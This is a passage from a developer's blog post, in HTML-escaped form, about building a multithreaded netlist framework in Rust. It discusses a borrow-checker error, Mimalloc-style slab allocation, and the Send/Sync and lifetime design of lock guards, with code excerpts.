&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;: &lt;span class="nb"&gt;Option&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;RwLockWriteGuard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NetlistCell&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And a corresponding function for acquiring a lock:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;impl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NetlistModule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... other functions omitted&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;pub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;lock_cell_for_read_ro_phase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;: &lt;span class="kt"&gt;usize&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-&amp;gt; &lt;span class="nb"&gt;Option&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;CellLockWip&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cells&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;unwrap&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CellLockWip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;: &lt;span class="nb"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cell&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;try_read&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;: &lt;span class="nb"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Hmm, it doesn't work though...&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;error[E0515]: cannot return value referencing local variable `cell`
   --&amp;gt; sicl4_db/src/test_slab_nonblock.rs:167:9
    |
167 | /         Some(CellLockWip {
168 | |             idx,
169 | |             r: Some(cell.try_read().ok()?),
    | |                     ---- `cell` is borrowed here
170 | |             w: None,
171 | |         })
    | |__________^ returns a value referencing data owned by the current function
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It turns out that no amount of trying to hack around this can make this work. The description of &lt;code&gt;sharded_slab::Entry&lt;/code&gt; actually explains why, but I failed to realize the implications.&lt;/p&gt;
&lt;p&gt;In a &lt;code&gt;sharded_slab&lt;/code&gt;, it is possible for another thread to attempt to free an item that the current thread is still working on. A &lt;code&gt;sharded_slab::Entry&lt;/code&gt; prevents this from causing problems by deferring the free until all guards are dropped. In my code, I had been making an implicit assumption that freeing an entry is only possible with a write guard held (i.e. the current thread is the only one that can possibly see the node to be freed). However, the &lt;code&gt;sharded_slab&lt;/code&gt; crate knows nothing about the locking I am doing.&lt;/p&gt;
&lt;p&gt;It seems like trying to hang on to &lt;em&gt;both&lt;/em&gt; the &lt;code&gt;Entry&lt;/code&gt; &lt;em&gt;and&lt;/em&gt; &lt;code&gt;RwLock*Guard&lt;/code&gt; objects should work in theory, but the limitations of the Rust borrow checker prevent this (the &lt;code&gt;RwLock&lt;/code&gt; guard lifetime needs to be at least as long as the &lt;code&gt;Entry&lt;/code&gt; lifetime, but this would result in a self-referential struct).&lt;/p&gt;
&lt;p&gt;The Kulkarni et al. paper also happens to mention that freeing entries should only happen when a write operation commits. I had not considered that I would need to actually enforce this.&lt;/p&gt;
&lt;p&gt;Solving these problems seems like it will require tighter integration between our locking rules and our memory allocator. It looks like I need to actually start implementing all of the data structures I need "for real" instead of trying to quickly duct-tape together existing pieces that only approximately do what I want.&lt;/p&gt;
&lt;p&gt;However, at this point, it would appear that I have a decent idea what exactly I would even need to implement:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Netlist nodes are stored in an arena, &lt;a href="https://manishearth.github.io/blog/2021/03/15/arenas-in-rust/"&gt;"essentially a way to group up allocations that are expected to have the same lifetime"&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The framework needs to somehow own/control/manage its own per-node reader-writer locks&lt;ul&gt;
&lt;li&gt;This is needed for the aforementioned object freeing issue&lt;/li&gt;
&lt;li&gt;The framework needs to know about locks in order to deal with algorithms requiring order&lt;/li&gt;
&lt;li&gt;Allowing the netlist framework to have visibility into locks potentially allows for more advanced work scheduling in the future&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;A work-stealing task queue (possibly by reusing an existing one, but it needs to know what to do with speculatively executing ordered algorithms)&lt;/li&gt;
&lt;li&gt;Probably a slab allocator, for memory locality and to avoid hitting the system allocator extremely hard&lt;/li&gt;
&lt;li&gt;Actually build out proper APIs mentioned at the very beginning of this article&lt;/li&gt;
&lt;li&gt;Actually build out a proper "wire" and "port &amp;lt;-&amp;gt; wire" system like Yosys's&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Okay, &lt;em&gt;now&lt;/em&gt; let's build it!&lt;/h1&gt;
&lt;h2&gt;Memory allocator&lt;/h2&gt;
&lt;p&gt;The lowest-level part of building everything "for real" is memory allocation. The internal implementation of the &lt;code&gt;sharded_slab&lt;/code&gt; crate is inspired by a technical report from Microsoft Research entitled &lt;a href="https://www.microsoft.com/en-us/research/uploads/prod/2019/06/mimalloc-tr-v1.pdf"&gt;"Mimalloc: Free List Sharding in Action"&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I spent quite some time pouring over this paper. I am not very good at serializing these thoughts into a blog post, so here is a brain dump:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We don't need a general-purpose malloc, only a closed set of types of known sizes, so we don't need the &lt;code&gt;pages_direct&lt;/code&gt;/&lt;code&gt;pages&lt;/code&gt; lists.&lt;/li&gt;
&lt;li&gt;Q: Why does Mimalloc need three free lists, but &lt;code&gt;sharded_slab&lt;/code&gt; only has &lt;em&gt;two&lt;/em&gt;? A: With the &lt;code&gt;sharded_slab&lt;/code&gt; implementation, the "deterministic heartbeat" functionality is lost.&lt;ul&gt;
&lt;li&gt;What is Mimalloc amortizing with its deterministic heartbeat?&lt;ul&gt;
&lt;li&gt;Batching frees for dynamic languages — not something that we need&lt;/li&gt;
&lt;li&gt;Returning memory to the operating system — unclear whether or not we will be doing that&lt;/li&gt;
&lt;li&gt;Collecting the remote thread free lists&lt;/li&gt;
&lt;li&gt;Collecting the &lt;em&gt;thread delayed free&lt;/em&gt; blocks, thus moving pages off of the &lt;em&gt;full list&lt;/em&gt;. This one is &lt;strong&gt;really&lt;/strong&gt; important. Although the idea is conceptually very simple (do not waste time searching for available blocks in pages that are completely full), the introduction of the &lt;em&gt;full list&lt;/em&gt; optimization significantly increases the engineering complexity of the allocator and required wrapping my head around &lt;em&gt;far&lt;/em&gt; more complexity than without it.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Q: What if we don't amortize with a deterministic heartbeat? I.e. what if we instead perform local frees directly onto the one singular local free list, and &lt;em&gt;only&lt;/em&gt; perform deferred operations &lt;em&gt;after&lt;/em&gt; a thread completely runs out of local space?&lt;ul&gt;
&lt;li&gt;A: I don't have any proper proof of bounds here, but gut-feeling/intuition seems to be saying that it probably will not be big-O worse. (I tried to think of any possible pathological way to cause this style of memory allocator to end up in a situation of "each netlist node has a netlist's worth of wasted space (i.e. freed by remote threads but not reclaimed) between it and the next node" but could not come up with a way to do that unless the algorithm inherently requires that much temporary space, in which case the blame isn't on the allocator.) However, not having a deterministic heartbeat can make the variance in allocation time much worse, which seems like it's probably by itself undesirable.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Q: What is the Mimalloc paper talking about when it mentions the &lt;code&gt;DELAYED&lt;/code&gt; vs &lt;code&gt;DELAYING&lt;/code&gt; states? Why do we need that?&lt;ul&gt;
&lt;li&gt;First of all, this part of the paper doesn't match the actual published code. &lt;strike&gt;The code has at least one further optimization: a block will not be put on the &lt;em&gt;thread delayed free&lt;/em&gt; list if another block in the same page is already on said list. This is because only one block per page is needed in order for the owning thread to eventually realize that the page isn't full anymore.&lt;/strike&gt; This optimization is actually given &lt;em&gt;two&lt;/em&gt; sentences in the paper which I initially overlooked. The paper still does not match the published code which contains an additional "never delayed free" state that I also don't fully understand.&lt;/li&gt;
&lt;li&gt;A: I don't fully understand this, but it has to do with thread termination. When a thread terminates in Mimalloc, its owned pages are somehow "given" to another thread or something. We will probably just... not do that, but our implementation &lt;em&gt;does&lt;/em&gt; still need to figure out its thread lifetime story at some point though. Note from the future: we actually end up reinventing the entire set of state transitions used to manage the &lt;em&gt;full list&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Okay, let's hack together the fast path. &lt;a href="https://github.com/ArcaneNibble/SiCl4/tree/00f57b026bcc9cabcf8296977933610aad92d2b5"&gt;Here&lt;/a&gt; we go! There's not much to say about this, it's just writing unsafe Rust code as if it were C-like.&lt;/p&gt;
&lt;p&gt;But wow, this is an awful mess of pointer casting, TODOs, FIXMEs, XXXs, and general jank.&lt;/p&gt;
&lt;h3&gt;Fixing the "complicated Rust stuff"&lt;/h3&gt;
&lt;p&gt;The following things need to be fixed immediately:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Having an invariant "arena" lifetime as described in &lt;a href="https://manishearth.github.io/blog/2021/03/15/arenas-in-rust/"&gt;this article&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;In the meantime, figuring out the correct variance story around &lt;code&gt;T&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;... which, while we're at it, requires figuring out all of the other things mentioned in the &lt;a href="https://doc.rust-lang.org/nomicon/phantom-data.html"&gt;&lt;code&gt;PhantomData&lt;/code&gt; nomicon article&lt;/a&gt;: drop check and &lt;code&gt;Send&lt;/code&gt;/&lt;code&gt;Sync&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;... which (among other things) requires figuring out the thread creation / termination story&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Rust: forcing you to design APIs properly!&lt;/p&gt;
&lt;p&gt;So, how &lt;em&gt;do&lt;/em&gt; we want our framework to work? Have another brain dump:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strike&gt;Graph node objects must be &lt;code&gt;Send&lt;/code&gt;. This is a hard requirement, as we will be (potentially) processing data across different threads. The &lt;code&gt;T: Send&lt;/code&gt; bound that the hacked-together code has is correct and is the same as what Rust requires for e.g. &lt;code&gt;Arc&amp;lt;Mutex&amp;lt;T&amp;gt;&amp;gt;&lt;/code&gt;.&lt;/strike&gt; Graph node objects must be both &lt;code&gt;Send&lt;/code&gt; and &lt;code&gt;Sync&lt;/code&gt;. &lt;code&gt;Send&lt;/code&gt; is required because we will be (potentially) processing data across different threads. &lt;code&gt;Sync&lt;/code&gt; is &lt;em&gt;also&lt;/em&gt; required because multiple read guards can exist at the same time, across separate threads, meaning there can be multiple &lt;code&gt;&amp;amp;&lt;/code&gt; references at the same time. There can still only be one &lt;code&gt;&amp;amp;mut&lt;/code&gt; reference at once, and any potential &lt;em&gt;interior&lt;/em&gt; mutability is the responsibility of the node types to make safe, not the allocator/locking.&lt;/li&gt;
&lt;li&gt;The "root" heap object is somehow used to create per-thread state, which is then used to allocate/free data. This is &lt;em&gt;currently&lt;/em&gt; &lt;code&gt;SlabAlloc&lt;/code&gt; and &lt;code&gt;SlabThreadState&lt;/code&gt;, but &lt;em&gt;these types are definitely borked&lt;/em&gt; in the hack implementation.&lt;/li&gt;
&lt;li&gt;The general program flow envisioned is something like:&lt;ol&gt;
&lt;li&gt;Run a graph algorithm, across every CPU core&lt;/li&gt;
&lt;li&gt;Wait for everything to finish&lt;/li&gt;
&lt;li&gt;Threads terminate when there is no more work&lt;/li&gt;
&lt;li&gt;Possibly(???) optimize memory usage/fragmentation/balancing-across-threads (is this useful at all?)&lt;/li&gt;
&lt;li&gt;Run the next graph algorithm&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Does the "root" object need to be &lt;code&gt;Sync&lt;/code&gt;? If it is, then threads can freely spawn subthreads with their own heap shards. If it is not, then one initial thread &lt;em&gt;must&lt;/em&gt; set up all the necessary shards before launching work threads.&lt;/li&gt;
&lt;li&gt;Does the "root" object need to be &lt;code&gt;Send&lt;/code&gt;? As far as I can tell, no. But it probably should be.&lt;/li&gt;
&lt;li&gt;Does the per-thread object need to be &lt;code&gt;Sync&lt;/code&gt;? It &lt;strong&gt;CANNOT&lt;/strong&gt; be. The whole point of it is that it belongs to one specific thread.&lt;/li&gt;
&lt;li&gt;Does the per-thread object need to be &lt;code&gt;Send&lt;/code&gt;? If the "root" object is not &lt;code&gt;Sync&lt;/code&gt;, this object must be &lt;code&gt;Send&lt;/code&gt; (or else it wouldn't be possible to give it to worker threads). Otherwise, no (e.g. if using OS TLS primitives?).&lt;/li&gt;
&lt;li&gt;Do node read/write guard objects need to be &lt;code&gt;Send&lt;/code&gt;/&lt;code&gt;Sync&lt;/code&gt;? They again cannot be &lt;code&gt;Sync&lt;/code&gt;, as they belong to one specific thread. Having them be &lt;code&gt;Send&lt;/code&gt; &lt;strike&gt;feels somewhat wrong, but isn't blatantly unsafe (e.g. a graph algorithm creates subthreads and gives them the guard object)?&lt;/strike&gt; is &lt;em&gt;conceptually&lt;/em&gt; &lt;strong&gt;required&lt;/strong&gt;, as the way an "ordered" graph algorithm will work involves leaving graph nodes locked after its read-only phase finishes until the read-write phase eventually either commits or abandons. That can happen on an &lt;em&gt;entirely different thread&lt;/em&gt; from the read-only phase.&lt;/li&gt;
&lt;li&gt;Guard objects cannot outlive segments/pages.&lt;/li&gt;
&lt;li&gt;Nothing can outlive the "root" object.&lt;/li&gt;
&lt;li&gt;In general, &lt;em&gt;what are we actually trying to check&lt;/em&gt; wrt object lifetimes?&lt;ul&gt;
&lt;li&gt;Don't cause memory safety issues when deleting nodes&lt;/li&gt;
&lt;li&gt;Prevent graph manipulating code from stashing references/guards for graph nodes and accessing them after the algorithm should have finished&lt;ul&gt;
&lt;li&gt;i.e. so that we can safely do the "optimize/defragment memory" operation&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;I fundamentally do not have good enough intuition on the behavior of &lt;code&gt;&amp;amp;'a T&lt;/code&gt; vs &lt;code&gt;T&amp;lt;'a&amp;gt;&lt;/code&gt; vs &lt;code&gt;&amp;amp;'a T&amp;lt;'b&amp;gt;&lt;/code&gt;&lt;ul&gt;
&lt;li&gt;We need good intuition about this in order to understand whether or not we should be covariant or invariant over &lt;code&gt;T&lt;/code&gt;, especially since we will be using interior mutability.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;I don't understand the nomicon chapter on &lt;code&gt;PhantomData&lt;/code&gt; drop check at all.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After thinking through all of this and several days of hacking later, we now have &lt;a href="https://github.com/ArcaneNibble/SiCl4/tree/63f312a3cae5eb250fc653a9f668286836883105"&gt;this&lt;/a&gt;!&lt;/p&gt;
&lt;h3&gt;What did we learn?&lt;/h3&gt;
&lt;p&gt;It's hard to transfer &lt;em&gt;intuition&lt;/em&gt; across brains, but here's another brain dump:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;As updated above, &lt;code&gt;T&lt;/code&gt; needs to be &lt;em&gt;both&lt;/em&gt; &lt;code&gt;Send&lt;/code&gt; and &lt;code&gt;Sync&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;We've created a "root" object that is both &lt;code&gt;Send&lt;/code&gt; and &lt;code&gt;Sync&lt;/code&gt;.&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;However&lt;/strong&gt;, as soon as &lt;code&gt;new_thread&lt;/code&gt; is ever called on it, the object becomes pinned in memory. This inherently has to happen: segments contain a pointer back to the per-thread state, and so the per-thread state cannot move anymore. This doesn't actually affect whether or not the root object is &lt;code&gt;Send&lt;/code&gt; though: transferring the ownership (without moving it) should still work without issue (although we haven't actually tested whether Rust will allow us to &lt;em&gt;write&lt;/em&gt; code that does anything like that).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The variance on &lt;code&gt;T&lt;/code&gt; seems like it &lt;em&gt;should&lt;/em&gt; be covariance. The nomicon states "as soon as you try to stuff them in something like a mutable reference, they inherit invariance and you're prevented from doing anything bad." The following is a worked example of how that is supposed to work:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We have code that, oversimplified, will eventually look like the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;SlabThreadShard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;arena&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* stuff */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;LockGuard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;arena&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* stuff */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;impl&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;arena&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SlabThreadShard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;arena&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;lock_an_object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;arena&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;: &lt;span class="cm"&gt;/* some kind of ref */&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-&amp;gt; &lt;span class="nc"&gt;LockGuard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;arena&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="cm"&gt;/* impl */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;impl&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;arena&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Deref&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LockGuard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;arena&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="nc"&gt;Target&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;deref&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;guard&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;guard&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-&amp;gt; &lt;span class="kp"&gt;&amp;amp;&lt;/span&gt;&lt;span class="o"&gt;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;guard&lt;/span&gt; &lt;span class="nc"&gt;T&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* impl */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;impl&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;arena&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DerefMut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LockGuard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;arena&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;deref_mut&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;guard&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;guard&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-&amp;gt; &lt;span class="kp"&gt;&amp;amp;&lt;/span&gt;&lt;span class="o"&gt;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;guard&lt;/span&gt; &lt;span class="nc"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* impl */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// users cannot access data outside of the lifetime of &amp;#39;guard&lt;/span&gt;
&lt;span class="c1"&gt;// &amp;#39;guard cannot be longer than &amp;#39;arena&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In the &lt;code&gt;deref_mut&lt;/code&gt; function, if we let &lt;code&gt;T = &amp;amp;'a U&lt;/code&gt;, the function signature becomes&lt;/p&gt;
